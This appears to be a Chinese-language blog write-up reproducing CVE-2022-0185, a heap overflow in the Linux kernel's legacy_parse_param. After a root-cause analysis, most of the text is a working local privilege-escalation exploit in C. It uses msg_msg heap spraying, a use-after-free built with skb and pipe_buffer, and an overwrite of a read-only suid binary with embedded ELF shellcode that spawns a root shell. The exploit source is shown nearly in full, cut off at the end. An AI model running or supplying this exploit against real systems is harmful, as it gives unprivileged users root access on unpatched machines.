CVE-2022-0185
初尝 pipe_primitive
环境准备
据漏洞发现者所说[1][2],漏洞影响 linux 5.1 版本之后的内核,v5.16.2 已经修复
笔者选取 5.10.6 自行编译内核复现,在 ubuntu 20.04 环境下构建,编译选项一般默认就行
因为笔者所使用的利用方式是参考 veritas501 学长的 pipe primitive[3][4],对含有 root suid 权限的文件进行覆盖达到提权的效果,构建的 busybox rootfs 中准备了一个含有 suid 权限的可执行文件用于被任意写覆盖
实际环境中可以选择 /usr/bin/mount 等程序作为目标
环境已打包至 github:https://github.com/featherL/CVE-2022-0185-exploit
漏洞分析
Syzkaller 给出了一段触发漏洞的 Poc:
#define _GNU_SOURCE
#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
uint64_t r[1] = {0xffffffffffffffff};
int main(void) {
syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
intptr_t res = 0;
memcpy((void*)0x20000000, "9p\000", 3);
res = syscall(__NR_fsopen, 0x20000000ul, 0ul);
if (res != -1)
r[0] = res;
memcpy((void*)0x20001c00, "\000\000\344]\233", 5);
memcpy((void*)0x20000540, "<long string>", 641);
syscall(__NR_fsconfig, r[0], 1ul, 0x20001c00ul, 0x20000540ul, 0ul);
int i;
for(i = 0; i < 64; i++) {
syscall(__NR_fsconfig, r[0], 1ul, 0x20001c00ul, 0x20000540ul, 0ul);
}
memset((void*)0x20000040, 0, 1);
memcpy((void*)0x20000800, "<long string>", 641);
syscall(__NR_fsconfig, r[0], 1ul, 0x20000040ul, 0x20000800ul, 0ul);
for(i = 0; i < 64; i++) {
syscall(__NR_fsconfig, r[0], 1ul, 0x20000040ul, 0x20000800ul, 0ul);
}
return 0;
}
经过简化后:
#define _GNU_SOURCE
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)
int main(void) {
char* key = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
int fd = 0;
fd = fsopen("9p", 0);
for (int i = 0; i < 130; i++) {
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", key, 0);
}
}
翻看 linux 源码可以知道,存在调用链 fsopen -> fs_context_for_mount -> alloc_fs_context -> legacy_init_fs_context,这为后面的 fsconfig 系统调用,设置相关操作的虚表 legacy_fs_context_ops
const struct fs_context_operations legacy_fs_context_ops = {
.free = legacy_fs_context_free,
.dup = legacy_fs_context_dup,
.parse_param = legacy_parse_param,
.parse_monolithic = legacy_parse_monolithic,
.get_tree = legacy_get_tree,
.reconfigure = legacy_reconfigure,
};
对于 fsconfig(fd, FSCONFIG_SET_STRING, key, value, 0)
的调用,则经过调用链 fsconfig -> vfs_fsconfig_locked -> vfs_parse_fs_param -> legacy_parse_param
漏洞发生在 legacy_parse_param 函数中:
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
struct legacy_fs_context *ctx = fc->fs_private;
unsigned int size = ctx->data_size;
size_t len = 0;
if (strcmp(param->key, "source") == 0) {
if (param->type != fs_value_is_string)
return invalf(fc, "VFS: Legacy: Non-string source");
if (fc->source)
return invalf(fc, "VFS: Legacy: Multiple sources");
fc->source = param->string;
param->string = NULL;
return 0;
}
if (ctx->param_type == LEGACY_FS_MONOLITHIC_PARAMS)
return invalf(fc, "VFS: Legacy: Can't mix monolithic and individual options");
switch (param->type) {
case fs_value_is_string:
len = 1 + param->size;
fallthrough;
case fs_value_is_flag:
len += strlen(param->key);
break;
default:
return invalf(fc, "VFS: Legacy: Parameter type for '%s' not supported",
param->key);
}
if (len > PAGE_SIZE - 2 - size)
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&
memchr(param->string, ',', param->size)))
return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
param->key);
if (!ctx->legacy_data) {
ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);
if (!ctx->legacy_data)
return -ENOMEM;
}
ctx->legacy_data[size++] = ',';
len = strlen(param->key);
memcpy(ctx->legacy_data + size, param->key, len);
size += len;
if (param->type == fs_value_is_string) {
ctx->legacy_data[size++] = '=';
memcpy(ctx->legacy_data + size, param->string, param->size);
size += param->size;
}
ctx->legacy_data[size] = '\0';
ctx->data_size = size;
ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
return 0;
}
可以看到 ctx->legacy_data
通过 kmalloc-4k 分配的一块内存:
...
if (!ctx->legacy_data) {
ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);
if (!ctx->legacy_data)
return -ENOMEM;
}
..
而在写入数据是否越界的判断条件中,使用的是 len > PAGE_SIZE - 2 - size
,其中 size 变量是 unsigned int 类型,为 ctx->legacy_data
已经存入数据的大小,当 size 字段大于 PAGE_SIZE - 2
的时候,PAGE_SIZE - 2 - size
结果为负数,但因为运算结果是无符号类型,这就是一个很大的数,条件不成立,后续写入数据的时候就造成了 kmalloc-4k 堆块的溢出
可以知道 fsconfig(fd, FSCONFIG_SET_STRING, key, value, 0)
是往 ctx->legacy_data
这个堆块中以 ,key=value
的方式写入键值对,不过要注意的是,在 fsconfig 的代码中可以发现 key 和 value 的字符串长度(包括\0
)不能超过 256,所以要分多次调用来触发漏洞
需要注意 fsopen 需要 CAP_SYS_ADMIN 权限,可以通过创建用户命名空间的方式来获得该权限
漏洞利用
这个漏洞相当于一个 kmalloc-4k 的任意长度溢出漏洞,有了之前复现 CVE-2021-22555 的经验,利用起来很简单,甚至都不需要调试
简单总结一下步骤:
- 触发漏洞溢出修改 msg_msg.m_ts
- 利用 corrupted_msg_msg 越界泄露信息,可以布局其他 msg_msg 结构体,泄露其 m_list.next/m_list.prev 的 heap 地址
- 有了 heap 地址,再次触发漏洞,修改 msg_msg.m_list.next 为 target,target 为堆上的某个 msg_msg 结构体地址
- 释放 target,喷射 skb 占位 target
- 通过步骤 3 中 corrupted_msg_msg,可以再次释放 target,造成 UAF
- 喷射 pipe_buffer 占位 target,splice 任意文件写到 pipe 里
- 利用 skb 修改 pipe_buffer 的 flags 字段,向 pipe 写入数据,造成越权改写只读文件
最后两步其实可以 skb 读取 pipe_buffer 的 ops 泄露内核地址,然后 skb 劫持 pipe_buffer 的 ops,close(pipe) 进行 ROP,但笔者为了演示 pipe primitive 而不这么做
prepare overflow
首先准备下触发漏洞越界写的条件,分多次调用 FSCONFIG_SET_STRING
,使得 size 为 PAGE_SIZE - 1
绕过 check,那么再下一次 FSCONFIG_SET_STRING
的时候就是从 4k 堆块的最后一个字节开始溢出写了
int call_fsopen()
{
int fd = fsopen("ext4", 0);
if (fd < 0)
{
die("fsopen() error");
}
return fd;
}
void prepare_overflow(int fsid)
{
char buff[0x100];
logdebug("prepare fsconfig heap overflow");
memset(buff, 0, sizeof(buff));
memset(buff, 'A', 0x100 - 2);
for (int i = 0; i < 0xf; i++)
{
// ",=" + buff
fsconfig(fsid, FSCONFIG_SET_STRING, "\x00", buff, 0);
}
memset(buff, 0, sizeof(buff));
memset(buff, 'B', 0x100 - 3);
// ",=" + buff
fsconfig(fsid, FSCONFIG_SET_STRING, "\x00", buff, 0);
}
leak heap
一图胜千言:
首先喷射 4k 大小的 msg_msg,同时附带 64 字节大小的 msg_msgseg,图中橙色标注部分
再喷射 kmalloc-64 <-> kmalloc-1024
的消息队列,即图中蓝色标注部分
因为 64 字节的 msg_msgseg 和 64 字节的 msg_msg 很可能从同一个页中分配,那么当 4k 大小的 msg_msg 的 m_ts 被溢出改大后,通过 64 字节的 msg_msgseg 越界读出后面的 64 字节的 msg_msg 结构数据,则可以泄露出其 m_list.next 指向的 kmalloc-1024 地址,
这里主要参照了 bsauce[5] 师傅的方法
具体操作如下:
#define MSG_A_TEXT_SIZE \
(0x1000 + 0x40 - sizeof(struct msg_msg) - sizeof(struct msg_msgseg))
int do_leak_heap(int fsid)
{
char buff[0x100];
logdebug("--- do_leak_heap ---");
prepare_overflow(fsid);
logdebug("spraying messasge queue 1...");
for (int i = 0; i < NUM_MSQIDS_1; i++)
{
msg_a->mtype = MTYPE_A;
memset(msg_a->mtext, 'A', MSG_A_TEXT_SIZE);
((int *)&msg_a->mtext)[0] = MSG_TAG;
((int *)&msg_a->mtext)[1] = i;
if (msgsnd(msqid_1[i], msg_a, MSG_A_TEXT_SIZE, 0) < 0)
die("msgsnd() error");
}
logdebug("spraying messasge queue 2...");
for (int i = 0; i < NUM_MSQIDS_2; i++)
{
size_t n = 1024 - sizeof(struct msg_msg);
memset(msg_b->mtext, 'B', n);
((int *)&msg_b->mtext)[0] = MSG_TAG;
((int *)&msg_b->mtext)[1] = i;
msg_b->mtype = MTYPE_B1;
n = 64 - sizeof(struct msg_msg);
if (msgsnd(msqid_2[i], msg_b, n, 0) < 0)
die("msgsnd() error");
msg_b->mtype = MTYPE_B2;
n = 1024 - sizeof(struct msg_msg);
if (msgsnd(msqid_2[i], msg_b, n, 0) < 0)
die("msgsnd() error");
}
logdebug("trigger oob write in `legacy_parse_param` to msg_msg.m_ts");
memset(buff, 0, sizeof(buff));
strcat(buff, "0000000"); // m_list.next
strcat(buff, "11111111"); // m_list.prev
strcat(buff, "22222222"); // m_type
uint64_t target_size = MSG_A_TEXT_SIZE + 64 * 30;
memcpy(buff + strlen(buff), &target_size, 2); // m_ts
fsconfig(fsid, FSCONFIG_SET_STRING, "\x00", buff, 0);
logdebug("searching corrupted msg_msg...");
for (int i = 0; i < NUM_MSQIDS_1; i++)
{
size_t n = msgrcv(msqid_1[i], msg_a_oob, MSG_A_TEXT_SIZE + 64 * 30, 0,
MSG_COPY | IPC_NOWAIT);
if (n < 0)
continue;
if (n == MSG_A_TEXT_SIZE + 64 * 30)
{
corrupted_msqid = msqid_1[i];
if ((msqid_1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) <
0) // call clean_msg_1 without crash
die("msgget() error");
struct msg_msg *p =
(struct msg_msg *)(msg_a_oob->mtext + MSG_A_TEXT_SIZE);
for (int j = 0; j < 30; j++)
{
if (p->m_type == MTYPE_B1 && p->m_ts == 64 - sizeof(struct msg_msg) &&
((int *)&p->mtext)[0] == MSG_TAG)
{
uaf_msqid = msqid_2[((int *)&p->mtext)[1]];
loginfo("corrupted_msqid = %d", corrupted_msqid);
loginfo("uaf_msqid = %d", uaf_msqid);
kmalloc_1024 = p->m_list.next;
// call clean_msg_2 without crash
if ((msqid_2[((int *)&p->mtext)[1]] =
msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0)
die("msgget() error");
break;
}
p++;
}
break;
}
}
clean_msg_1();
clean_msg_2();
if (uaf_msqid < 0)
return 0;
loginfo("kmalloc_1024 = %#lx", kmalloc_1024);
return 1;
}
...
int main(int argc, char const *argv[])
{
int fsid;
int pid;
...
init_unshare();
bind_cpu();
init_sock();
init_msg();
fsid = call_fsopen();
while (!do_leak_heap(fsid))
{
close(fsid);
fsid = call_fsopen();
logdebug("retry do_leak_heap()");
}
...
return 0;
}
create uaf
释放 kmalloc_1024 的 msg_msg 结构体,再次触发漏洞,修改某个 msg_msg.m_list.next 为 kmalloc_1024,那么就构造了对该地址的 UAF 了
因为漏洞的溢出写入的是字符串 ,key=value
,且从 key 开始的位置就是 msg_msg.m_list.next 了,最后还会附加 =
,且 kmalloc_1024 最低字节必然是 \0
,被覆盖成 =
就不对了,所以无法直接覆盖成 kmalloc_1024,但是可以把 m_list.next 指向 kmalloc_1024 + offset 上,以避免 \0
然后在 kmalloc_1024 + offset
处,伪造一个 msg_msg,其 m_list.next 指向 kmalloc_1024,也就是伪造成下面的效果:
corrupted_msg_msg -> kmalloc_1024 + offset -> kmalloc_1024
要注意 unlink 时 next/prev 指针指向的区域可写
代码如下:
void fake_msg_msg_at_kmalloc_1024()
{
logdebug("--- fake_msg_msg_at_kmalloc_1024 ---");
logdebug("free kmalloc-1024");
if (msgrcv(uaf_msqid, msg_b, 1024 - sizeof(struct msg_msg), MTYPE_B2, 0) < 0)
die("msgrcv() error");
logdebug("spraying skb...");
memset(skb, 0, sizeof(skb));
struct msg_msg *msg = (struct msg_msg *)skb;
msg->m_list.next = kmalloc_1024 + 0x200; // no matter
msg->m_list.prev = kmalloc_1024 + 0x300; // no matter
msg->m_type = MTYPE_FAKE;
msg->m_ts = 0x100;
msg->security = 0;
msg++;
msg->m_list.next = kmalloc_1024;
msg->m_list.prev = kmalloc_1024 + 0x400; // no matter
msg->m_type = MTYPE_A;
msg->m_ts = 0x233;
msg->security = 0;
spray_skbuff_data(skb, sizeof(skb));
}
int create_uaf(int fsid)
{
char buff[0x100];
int target_idx = -1;
logdebug("--- create_uaf ---");
prepare_overflow(fsid);
logdebug("spraying messasge queue 1...");
for (int i = 0; i < NUM_MSQIDS_1; i++)
{
msg_a->mtype = MTYPE_A;
memset(msg_a->mtext, 'A', MSG_A_TEXT_SIZE);
((int *)&msg_a->mtext)[0] = MSG_TAG;
((int *)&msg_a->mtext)[1] = i;
if (msgsnd(msqid_1[i], msg_a, MSG_A_TEXT_SIZE, 0) < 0)
die("msgsnd() error");
}
logdebug("trigger oob write in `legacy_parse_param` to corrupt messageA's "
"msg_msg.m_ts");
memset(buff, 0, sizeof(buff));
struct msg_msg *msg = (struct msg_msg *)buff;
msg->m_list.next = kmalloc_1024 + sizeof(struct msg_msg);
msg->m_list.prev = 0xdeadbeefdeadbeef;
msg->m_type = MTYPE_A; // append '=\x00'
fsconfig(fsid, FSCONFIG_SET_STRING, buff, "\x00", 0);
logdebug("searching corrupted msg_msg for freeing fake msg_msg...");
fake_msqid = -1;
for (int i = 0; i < NUM_MSQIDS_1; i++)
{
size_t n = msgrcv(msqid_1[i], msg_a, 0x100, 2, MSG_COPY | IPC_NOWAIT);
if (n < 0)
continue;
if (n == 0x100 && msg_a->mtype == MTYPE_FAKE)
{
fake_msqid = msqid_1[i];
if ((msqid_1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0)
die("msgget() error");
loginfo("fake_msqid = %d", fake_msqid);
break;
}
}
if (fake_msqid < 0)
{
clean_msg_1();
return 0;
}
clean_msg_1();
return 1;
}
int main(int argc, char const *argv[])
{
...
fake_msg_msg_at_kmalloc_1024();
close(fsid);
fsid = call_fsopen();
while (!create_uaf(fsid))
{
close(fsid);
fsid = call_fsopen();
logdebug("retry create_uaf()");
}
...
return 0;
}
pipe_primitive
此时,通过 corrupted_msg_msg(即 fake_msqid)释放 kmalloc_1024 堆块,然后喷射 pipe_buffer 占位,同时调用 splice 把目标文件缓存页接入 pipe_buffer
利用 skb 修改文件缓存页对应的 pipe_buffer 的 flags 为 PIPE_BUF_FLAG_CAN_MERGE,向 pipe 写入数据即可成功修改只有读权限的 suid 程序文件
通过覆盖 suid 程序文件为恶意代码,执行恶意代码 getshell 提权:
void pipe_primitive()
{
char buff[0x400];
logdebug("open target file %s", ATTACK_FILE);
if ((tfd = open(ATTACK_FILE, O_RDONLY)) < 0)
die("failed to open target file");
logdebug("freeing fake msg_msg...");
if (msgrcv(fake_msqid, msg_a, 0x100, MTYPE_FAKE, 0) < 0)
die("msgrcv() error");
logdebug("spraying pipe_buffer...");
for (int i = 0; i < NUM_PIPEFDS; i++)
{
if (pipe(pipe_fd[i]))
{
die("Alloc pipe failed");
}
write(pipe_fd[i][1], buff, 0x100 + i);
loff_t offset = 1;
ssize_t nbytes = splice(tfd, &offset, pipe_fd[i][1], NULL, 1, 0);
if (nbytes < 0)
{
die("splice() failed");
}
}
logdebug("free skbuff_data to make pipe_buffer become UAF");
int uaf_pipe_idx = -1;
char backup_skb[sizeof(skb)];
int PIPE_BUF_FLAG_CAN_MERGE = 0x10;
memset(skb, 0, sizeof(skb));
for (int i = 0; i < NUM_SOCKETS; i++)
{
for (int j = 0; j < NUM_SKBUFFS; j++)
{
if (read(sock_pairs[i][1], skb, sizeof(skb)) < 0)
{
die("read from sock pairs failed");
}
struct pipe_buffer *pb = (struct pipe_buffer *)skb;
if (pb->len >= 0x100 && pb->len < 0x100 + NUM_PIPEFDS)
{
uaf_pipe_idx = pb->len - 0x100;
loginfo("uaf_pipe_idx = %d", uaf_pipe_idx);
memcpy(backup_skb, skb, sizeof(skb));
}
}
}
if (uaf_pipe_idx < 0)
die("uaf_pipe_idx not found");
logdebug("edit pipe_buffer->flags");
struct pipe_buffer *pb = (struct pipe_buffer *)backup_skb;
pb[1].len = 0;
pb[1].offset = 0;
pb[1].flags = PIPE_BUF_FLAG_CAN_MERGE;
pb[1].ops = pb[0].ops;
spray_skbuff_data(backup_skb, sizeof(backup_skb));
logdebug("try to overwrite %s, by pipe fd %d", ATTACK_FILE,
pipe_fd[uaf_pipe_idx][1]);
if (write(pipe_fd[uaf_pipe_idx][1], attack_data, sizeof(attack_data)) !=
sizeof(attack_data))
die("write");
logdebug("see if %s changed", ATTACK_FILE);
close(tfd);
tfd = open(ATTACK_FILE, O_RDONLY);
if (tfd < 0)
{
die("open attack file");
}
char tmp_buffer[0x10];
read(tfd, tmp_buffer, 0x10);
uint32_t *ptr = (uint32_t *)(tmp_buffer + 9);
if (ptr[0] != 0x56565656)
{
die("overwrite attack file failed: 0x%08x", ptr[0]);
}
}
exp
// gcc -static -o exp exp.c
#define _GNU_SOURCE
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) \
syscall(__NR_fsconfig, fd, cmd, key, value, aux)
#define NUM_SOCKETS (4)
#define NUM_SKBUFFS (0x80)
#define NUM_MSQIDS_1 (8)
#define NUM_MSQIDS_2 (0x400)
#define NUM_PIPEFDS (0x100)
#define SKB_SHARED_INFO_SIZE 0x140
#define MSG_A_TEXT_SIZE \
(0x1000 + 0x40 - sizeof(struct msg_msg) - sizeof(struct msg_msgseg))
#define MTYPE_A (0x41)
#define MTYPE_B1 (0x42)
#define MTYPE_B2 (0x43)
#define MTYPE_FAKE (0x45)
#define MSG_TAG (0xdeadaaaa)
#define ATTACK_FILE "/suid-test"
#define logdebug(fmt, ...) \
dprintf(1, "\033[32m[*] " fmt "\033[0m\n", ##__VA_ARGS__)
#define loginfo(fmt, ...) \
dprintf(1, "\033[34m[+] " fmt "\033[0m\n", ##__VA_ARGS__)
#define logerror(fmt, ...) \
dprintf(2, "\033[31m[-] " fmt "\033[0m\n", ##__VA_ARGS__)
#define die(fmt, ...) \
do \
{ \
logerror(fmt, ##__VA_ARGS__); \
logerror("Exit at line %d", __LINE__); \
write(notify_pipe[1], "N", 1); \
exit(1); \
} while (0)
struct list_head
{
uint64_t next;
uint64_t prev;
};
struct msg_msg
{
struct list_head m_list;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
char mtext[0];
};
struct msg_msgseg
{
uint64_t next;
};
struct typ_msg
{
long mtype;
char mtext[0];
};
struct pipe_buffer
{
uint64_t page;
uint32_t offset;
uint32_t len;
uint64_t ops;
uint32_t flags;
uint32_t pad;
uint64_t private;
};
struct pipe_buf_operations
{
uint64_t confirm;
uint64_t release;
uint64_t steal;
uint64_t get;
};
char msg_buffer[0x2000];
char skb[1024 - SKB_SHARED_INFO_SIZE];
struct typ_msg *msg_a = (struct typ_msg *)msg_buffer;
struct typ_msg *msg_b = (struct typ_msg *)msg_buffer;
struct typ_msg *msg_a_oob = (struct typ_msg *)msg_buffer;
int sock_pairs[NUM_SOCKETS][2];
int msqid_1[NUM_MSQIDS_1];
int msqid_2[NUM_MSQIDS_2];
int pipe_fd[NUM_PIPEFDS][2];
int notify_pipe[2];
uint64_t kmalloc_1024;
int corrupted_msqid = -1;
int uaf_msqid = -1;
int fake_msqid;
int tfd;
const char attack_data[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x56, 0x56, 0x56,
0x56, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x02, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf6, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0x31, 0xd2,
0x31, 0xf6, 0x6a, 0x75, 0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68, 0x48, 0xb8, 0x2f, 0x62,
0x69, 0x6e, 0x2f, 0x2f, 0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 0x01, 0x01, 0x31, 0xf6,
0x56, 0x6a, 0x08, 0x5e, 0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};
void init_unshare()
{
int fd;
char buff[0x100];
// strace from `unshare -Ur xxx`
unshare(CLONE_NEWNS | CLONE_NEWUSER);
fd = open("/proc/self/setgroups", O_WRONLY);
snprintf(buff, sizeof(buff), "deny");
write(fd, buff, strlen(buff));
close(fd);
fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(buff, sizeof(buff), "0 %d 1", getuid());
write(fd, buff, strlen(buff));
close(fd);
fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(buff, sizeof(buff), "0 %d 1", getgid());
write(fd, buff, strlen(buff));
close(fd);
}
void init_msg()
{
for (int i = 0; i < NUM_MSQIDS_1; i++)
{
if ((msqid_1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0)
die("msgget() error");
}
for (int i = 0; i < NUM_MSQIDS_2; i++)
{
if ((msqid_2[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0)
die("msgget() error");
}
}
void clean_msg_1()
{
for (int i = 0; i < NUM_MSQIDS_1; i++)
{
msgrcv(msqid_1[i], msg_a, MSG_A_TEXT_SIZE, MTYPE_A, IPC_NOWAIT);
}
}
void clean_msg_2()
{
for (int i = 0; i < NUM_MSQIDS_2; i++)
{
msgrcv(msqid_2[i], msg_b, 64 - sizeof(struct msg_msg), MTYPE_B1,
IPC_NOWAIT);
msgrcv(msqid_2[i], msg_b, 1024 - sizeof(struct msg_msg), MTYPE_B2,
IPC_NOWAIT);
}
}
void init_sock()
{
for (int i = 0; i < NUM_SOCKETS; i++)
{
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock_pairs[i]) < 0)
die("socketpair() error");
}
}
void bind_cpu()
{
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set))
{
die("sched_setaffinity() error");
}
}
int call_fsopen()
{
int fd = fsopen("ext4", 0);
if (fd < 0)
{
die("fsopen() error");
}
return fd;
}
void spray_skbuff_data(void *ptr, size_t size)
{
for (int i = 0; i < NUM_SOCKETS; i++)
{
for (int j = 0; j < NUM_SKBUFFS; j++)
{
if (write(sock_pairs[i][0], ptr, size) < 0)
{
die("write to sock pairs failed");
}
}
}
}
void free_skbuff_data(void *ptr, size_t size)
{
for (int i = 0; i < NUM_SOCKETS; i++)
{
for (int j = 0; j < NUM_SKBUFFS; j++)
{
if (read(sock_pairs[i][1], ptr, size) < 0)
{
die("read from sock pairs failed");
}
}
}
}
void prepare_overflow(int fsid)
{
char buff[0x100];
logdebug("prepare fsconfig heap overflow");
memset(buff, 0, sizeof(buff));
memset(buff, 'A', 0x100 - 2);
for (int i = 0; i < 0xf; i++)
{
// ",=" + buff
fsconfig(fsid, FSCONFIG_SET_STRING, "\x00", buff, 0);
}
memset(buff, 0, sizeof(buff));
memset(buff, 'B', 0x100 - 3);
// ",=" + buff
fsconfig(fsid, FSCONFIG_SET_STRING, "\x00", buff, 0);
}
int do_leak_heap(int fsid)
{
char buff[0x100];
logdebug("--- do_leak_heap ---");
prepare_overflow(fsid);
logdebug("spraying messasge queue 1...");
for (int i = 0; i < NUM_MSQIDS_1; i++)
{
msg_a->mtype = MTYPE_A;
memset(msg_a->mtext, 'A', MSG_A_TEXT_SIZE);
((int *)&msg_a->mtext)[0] = MSG_TAG;
((int *)&msg_a->mtext)[1] = i;
if (msgsnd(msqid_1[i], msg_a, MSG_A_TEXT_SIZE, 0) < 0)
die("msgsnd() error");
}
logdebug("spraying messasge queue 2...");
for (int i = 0; i < NUM_MSQIDS_2; i++)
{
size_t n = 1024 - sizeof(struct msg_msg);
memset(msg_b->mtext, 'B', n);
((int *)&msg_b->mtext)[0] = MSG_TAG;
((int *)&msg_b->mtext)[1] = i;
msg_b->mtype = MTYPE_B1;
n = 64 - sizeof(struct msg_msg);
if (msgsnd(msqid_2[i], msg_b, n, 0) < 0)
die("msgsnd() error");
msg_b->mtype = MTYPE_B2;
n = 1024 - sizeof(struct msg_msg);
if (msgsnd(msqid_2[i], msg_b, n, 0) < 0)
die("msgsnd() error");
}
logdebug("trigger oob write in `legacy_parse_param` to msg_msg.m_ts");
memset(buff, 0, sizeof(buff));
strcat(buff, "0000000"); // m_list.next
strcat(buff, "11111111"); // m_list.prev
strcat(buff, "22222222"); // m_type
uint64_t target_size = MSG_A_TEXT_SIZE + 64 * 30;
memcpy(buff + strlen(buff), &target_size, 2); // m_ts
fsconfig(fsid, FSCONFIG_SET_STRING, "\x00", buff, 0);
logdebug("searching corrupted msg_msg...");
for (int i = 0; i < NUM_MSQIDS_1; i++)
{
size_t n = msgrcv(msqid_1[i], msg_a_oob, MSG_A_TEXT_SIZE + 64 * 30, 0,
MSG_COPY | IPC_NOWAIT);
if (n < 0)
continue;
if (n == MSG_A_TEXT_SIZE + 64 * 30)
{
corrupted_msqid = msqid_1[i];
if ((msqid_1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) <
0) // call clean_msg_1 without crash
die("msgget() error");
struct msg_msg *p =
(struct msg_msg *)(msg_a_oob->mtext + MSG_A_TEXT_SIZE);
for (int j = 0; j < 30; j++)
{
if (p->m_type == MTYPE_B1 && p->m_ts == 64 - sizeof(struct msg_msg) &&
((int *)&p->mtext)[0] == MSG_TAG)
{
uaf_msqid = msqid_2[((int *)&p->mtext)[1]];
loginfo("corrupted_msqid = %d", corrupted_msqid);
loginfo("uaf_msqid = %d", uaf_msqid);
kmalloc_1024 = p->m_list.next;
// call clean_msg_2 without crash
if ((msqid_2[((int *)&p->mtext)[1]] =
msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0)
die("msgget() error");
break;
}
p++;
}
break;
}
}
clean_msg_1();
clean_msg_2();
if (uaf_msqid < 0)
return 0;
loginfo("kmalloc_1024 = %#lx", kmalloc_1024);
return 1;
}
void fake_msg_msg_at_kmalloc_1024()
{
logdebug("--- fake_msg_msg_at_kmalloc_1024 ---");
logdebug("free kmalloc-1024");
if (msgrcv(uaf_msqid, msg_b, 1024 - sizeof(struct msg_msg), MTYPE_B2, 0) < 0)
die("msgrcv() error");
logdebug("spraying skb...");
memset(skb, 0, sizeof(skb));
struct msg_msg *msg = (struct msg_msg *)skb;
msg->m_list.next = kmalloc_1024 + 0x200; // no matter
msg->m_list.prev = kmalloc_1024 + 0x300; // no matter
msg->m_type = MTYPE_FAKE;
msg->m_ts = 0x100;
msg->security = 0;
msg++;
msg->m_list.next = kmalloc_1024;
msg->m_list.prev = kmalloc_1024 + 0x400; // no matter
